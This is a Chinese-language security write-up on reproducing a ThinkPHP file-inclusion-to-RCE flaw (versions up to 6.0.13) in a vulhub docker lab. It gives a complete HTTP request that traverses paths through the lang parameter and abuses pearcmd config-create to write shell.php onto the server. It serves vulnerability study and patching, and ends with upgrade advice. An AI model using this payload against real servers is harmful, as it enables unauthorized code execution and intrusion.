0x01 简介
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。
0x02 影响范围
● v6.0.0<=ThinkPHP<=v6.0.13
● v5.0.0<=ThinkPHP<=5.0.12
● v5.1.0<=ThinkPHP<=5.1.8
0x03 漏洞详情
thinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang
参数来包含任意PHP文件。通过 get、header、cookie 等位置传入参数实现目录穿越和文件包含,从而利用 pearcmd 文件包含实现远程命令执行通过构造特定的 URL,可以实现目录穿越和文件包含,然后利用 pearcmd 文件包含实现远程命令执行。
0x04 漏洞利用
漏洞环境搭建
在vulhub目录同步环境
git pull
然后进入到rce-lang目录拉起docker环境
docker-compose up -d
访问http://your-ip:8080,看到ThinkPHP默认的欢迎页面,即环境搭建成功
漏洞复现
文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:
-
PHP环境开启了register_argc_argv
-
PHP环境安装了pcel/pear
使用如下数据包写入phpinfo
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: xxx:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
如果服务器返回pearcmd的命令行执行结果,说明漏洞利用成功
此时访问http://your-ip:8080/shell.php即可发现已经成功写入文件
0x05 漏洞修复
尽快安装 ThinkPHP V6.0.14 或更高版本
原文始发于微信公众号(闪焰安全服务团队):thinkphp lang远程命令执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论